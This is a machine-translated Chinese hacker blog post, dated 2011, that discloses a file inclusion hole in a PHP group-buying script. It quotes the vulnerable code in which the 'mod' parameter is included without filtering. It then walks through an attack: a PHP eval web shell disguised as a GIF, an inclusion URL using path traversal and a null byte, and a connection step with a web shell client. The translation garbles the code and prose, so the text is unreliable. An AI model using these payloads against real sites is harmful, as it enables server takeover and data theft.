A very soft hole in the group buying system every day

I have been studying php for nearly three days. And lead the way, let me learn very difficult, yesterday and hy dug holes together, despise Mao none .. He told me when he left. Let's take a look at everyday group purchases tomorrow, so it's just like this one day. Today, I downloaded a set of items. It seems that he has become handsome again recently. I was taken to a hole .. Haha. Look.
Post Code
========================================================== ======================
Date: 2011.02.24
Team: Harmonious penetration group
Test environment: Winxp
By Chinared ouou
Blog: http://www.hkmjj.com
========================================================== ======================

Header ("Cache-Control: no-cache, must-revalidate"); header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT ");
Require_once MOD_PATH. $ this-> SetEvent ($ config [default_module])... mod. php;
$ _ GET = HttpHandler: checkVars ($ _ GET );
$ _ POST = HttpHandler: checkVars ($ _ POST );
$ _ GET = array_iconv ($ config [charset], UTF-8, $ _ GET );
$ _ POST = array_iconv ($ config [charset], UTF-8, $ _ POST );
$ Moduleobject = new ModuleObject ($ config );

}


Function SetEvent ()
{
$ Modss = array (check => 1, getseller => 1, member => 1 );

$ Mod = (isset ($ _ POST [mod])? $ _ POST [mod]: $ _ GET [mod]);

If (! Isset ($ modss )){
Include (INCLUDE_PATH.error_404.php );
Exit;
}

$ _ POST [mod] =$ _ GET [mod] = $ mod;

Return $ mod;
}
}
$ Init = new initialize;
$ Init-> init ();


?>I don't want to comment out any more. It seems that no filtering is performed .. An evil idea suddenly appeared .. Hey.
First, test the effect. I tested it locally. So there is no upload point.
======================================
Create a txt file and
GIF89aGIF89a
<? Php @ eval ($ _ POST [pass]);?>
Suffix changed to gif
======================================
Then. Http: // localhost/3/ajax. php? Mod =.../../123.gif% 00
Of course, I only put the images in the root directory.
Look. Completely included.



Then the sentence is connected with a kitchen knife. Script selection php

Then ., The connection is established.



Think about it. It is intended to be open in public. Register xx fucking oo. I can't find the upload location. This makes me have the urge to jump to the building. I don't need to be proud .. So I called it in the night owl group. They all asked me to go to the bird brother, so I found the bird brother. It seems no longer, ah, forget it. Come on, don't worry, first time. This is the first time it was made public. Haha, but I think it's no big deal when I see it. However, for the first time I dug a hole in the dish, it was a very soft hole. The writing is rough. Please read it .. Haha. Keep learning .. Good worship,